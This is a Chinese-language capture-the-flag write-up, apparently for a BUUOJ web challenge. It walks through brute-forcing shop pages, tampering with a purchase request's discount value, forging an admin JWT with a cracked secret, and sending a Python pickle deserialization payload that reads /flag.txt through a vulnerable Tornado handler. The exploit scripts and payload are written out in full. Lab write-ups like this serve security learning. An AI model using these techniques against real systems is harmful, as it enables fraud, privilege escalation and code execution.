1.跑出Lv6所在page
根据提示要找LV6,再根据以下写脚本。
import requests;
url = 'http://d046240b-eee3-43a5-9b18-5a87217af228.node3.buuoj.cn/shop?page='
for i in range(0,1000):
r = requests.get(url + str(i))
if 'lv6.png' in r.text:
print(i)
break
print(i)
lv6在181页,找到它。
2.购买lv6
先注册一个账号,每个账号的初始资金都是1000,但是要买lv6的号,要很多,远远超过了所拥有的资金。那我们就抓包改一下东西给他买下来。
发现可以改discount的值,改得很小很小就可以啦,我改成了0.000000001,买到之后又提示只有admin才可以访问该页面,我们再想办法变成admin。
3.伪造admin
解码jwt,顺便要解出key,用一个c工具解出了key1Kun
PS:1Kun=两年半
然后再将jwt加密,加密脚本如下
import jwt
print(jwt.encode({"username":"admin"},algorithm="HS256",key="1Kun").decode(encoding='utf-8'))
3.python反序列化
找到了潜伏的友军
下载之后根据wp说要找到Admin.py页面,内容如下
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
这里存在python反序列化的漏洞,鉴定标志:pickle库
。
对become进行反序列化,下面是python2
脚本
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print (a)
直接将原来为admin的become换为得出的payload,就能写出flag.txt了。
明天学python反序列化!